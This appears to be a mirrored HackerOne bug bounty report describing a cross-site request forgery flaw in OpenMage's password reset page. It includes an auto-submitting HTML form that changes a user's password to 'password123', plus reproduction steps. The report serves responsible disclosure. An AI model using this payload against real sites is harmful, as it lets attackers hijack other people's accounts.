Lucene search

K
hackeroneXenxH1:1086752
HistoryJan 25, 2021 - 2:47 p.m.

OpenMage: CSRF in changing password after using reset password link

2021-01-2514:47:04
xenx
hackerone.com
13

EPSS

0.001

Percentile

33.3%

Summary:

Hey OpenMage, the forgot password page is not protected against CSRF attack which can lead to changing password. Use the below form to test

<html> 
  <body>
    <form  action="https://demo.openmage.org/customer/account/resetpasswordpost/" method="POST">
      <input type="hidden" name="password" value="password123" />
      <input type="hidden" name="confirmation" value="password123" />
    </form>
   <script>document.forms[0].submit()</script>
  </body>
</html>

Steps To Reproduce:

  1. Go to https://demo.openmage.org/customer/account/forgotpassword/
  2. Enter your email and ask for password reset link
  3. Load the password reset link and after loading it close it
  4. Now load the above form and boom, password will be changed.

Impact

Password reset via CSRF

EPSS

0.001

Percentile

33.3%